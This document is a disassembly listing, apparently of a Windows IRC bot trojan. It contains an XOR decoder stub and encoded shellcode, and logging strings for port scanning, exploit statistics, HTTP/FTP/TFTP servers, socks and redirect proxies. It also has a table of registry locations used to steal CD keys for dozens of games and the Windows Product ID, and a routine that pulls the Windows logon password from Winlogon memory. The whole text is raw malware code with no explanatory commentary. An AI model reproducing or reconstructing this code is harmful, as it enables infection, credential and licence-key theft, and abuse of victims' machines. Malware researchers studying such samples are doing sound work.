dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h
dd 353434h, 5 dup(0)
dd 1BDh, 404F42h, 2 dup(0)
dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h
dd 5 dup(0)
dd 8Bh, 404F42h, 2 dup(0)
dd 1, 6D7973h, 0
dd 79730000h, 746E616Dh, 6365h, 5 dup(0)
dd 0B97h, 405088h, 0
dd 1, 0
dd 636874h, 0
dd 68540000h, 6C717363h, 6 dup(0)
dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj
dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
jmp short loc_42AFA6
; =============== S U B R O U T I N E =======================================
sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_42AF9E: ; CODE XREF: sub_42AF96+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42AF9E
jmp short loc_42AFAB
; ---------------------------------------------------------------------------
loc_42AFA6: ; CODE XREF: ___:0042AF94j
call sub_42AF96
loc_42AFAB: ; CODE XREF: sub_42AF96+Ej
jo short near ptr dword_42AF44+2
cwde
cdq
cdq
retn
sub_42AF96 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o
align 4
unk_42B134 db 2 ; DATA XREF: sub_407110+11o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_42B20C db 2 ; DATA XREF: sub_407252+307o
; sub_40EE72+54B9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407252+267o
dd 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407252+1FAo
dd 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start server, error: <%d>.',0
unk_42B328 db 2 ; DATA XREF: sub_407252+DBo
; sub_40EE72+5343o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o
; sub_40AEE0+46o
unk_42B384 db 2 ; DATA XREF: sub_407767+EEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_42B3BC db 2 ; DATA XREF: sub_407767+93o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_42B45C db 2 ; DATA XREF: sub_40797F+173o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_42B5DC db 2 ; DATA XREF: ___:00407F10o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
unk_42B62C db 2 ; DATA XREF: ___:00407E47o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 10h
unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o
; sub_40EE72+5E22o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o
aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o
; sub_4089E7+26o
align 10h
dd 80000001h
off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
; sub_408C26+21o
; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
push 500042CAh
retf 42h
; ---------------------------------------------------------------------------
dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o
dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0)
dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0)
dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0)
dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0)
dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0)
dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0)
dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0)
dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0)
dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0)
dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0)
dd 80000002h, 42C770h, 436EDCh, 42C760h, 2 dup(0)
dd 80000002h, 42C728h, 436EDCh, 42C714h, 2 dup(0)
dd 80000002h, 42C6C8h, 436EDCh, 42C6A8h, 2 dup(0)
dd 80000002h, 42C658h, 436EDCh, 42C62Ch, 2 dup(0)
dd 80000002h, 42C5F0h, 436EDCh, 42C5DCh, 2 dup(0)
dd 80000002h, 42C5A4h, 436EDCh, 42C594h, 2 dup(0)
dd 80000002h, 42C544h, 436EDCh, 42C518h, 2 dup(0)
dd 80000002h, 42C4D8h, 436EDCh, 42C4BCh, 2 dup(0)
dd 80000002h, 42C48Ch, 436EDCh, 42C46Ch, 2 dup(0)
dd 80000002h, 42C430h, 436EDCh, 42C41Ch, 2 dup(0)
dd 80000002h, 42C3D4h, 436EDCh, 42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
add al, [eax]
add byte_42C360[eax], al
fsubr qword ptr [esi+43h]
add [eax], dh
retn
; ---------------------------------------------------------------------------
dw 42h
dd 2 dup(0)
dd 80000002h, 42C2E0h, 436EDCh, 42C2B4h, 2 dup(0)
dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0)
dd 80000002h, 42C208h, 436EDCh, 42C1ECh, 2 dup(0)
dd 80000002h, 42C1A0h, 436EDCh, 42C17Ch, 2 dup(0)
dd 80000002h, 42C148h, 436EDCh, 42C13Ch, 2 dup(0)
dd 80000002h, 42C108h, 436EDCh, 42C0FCh, 2 dup(0)
dd 80000002h, 42C0C8h, 436EDCh, 42C0BCh, 2 dup(0)
dd 80000002h, 42C088h, 436EDCh, 42C07Ch, 2 dup(0)
dd 80000002h, 42C040h, 436EDCh, 42C02Ch, 2 dup(0)
dd 80000002h, 42BFF0h, 436EDCh, 42BFDCh, 2 dup(0)
dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0)
dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0)
dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0)
dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0)
dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0)
dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0)
dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0)
dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h
dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h
dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h
dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0
aCdkey db 'CDKey',0
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
align 4
asc_42CA98: ; DATA XREF: sub_408C26+E9o
; sub_408C26+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408C26+8Fo
; sub_40EE72:loc_413643o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo
; sub_408EE5+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
align 4
unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao
align 4
unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToEnable db ' Failed to enable Debug Privilege.',0
align 10h
unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindWi db ' Unable to find Winlogon Process ID.',0
unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindTh db ' Unable to find the password in memory.',0
align 4
unk_42CC0C db 2 ; DATA XREF: sub_409037+117o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(no password)).',0
align 4
off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004B+2
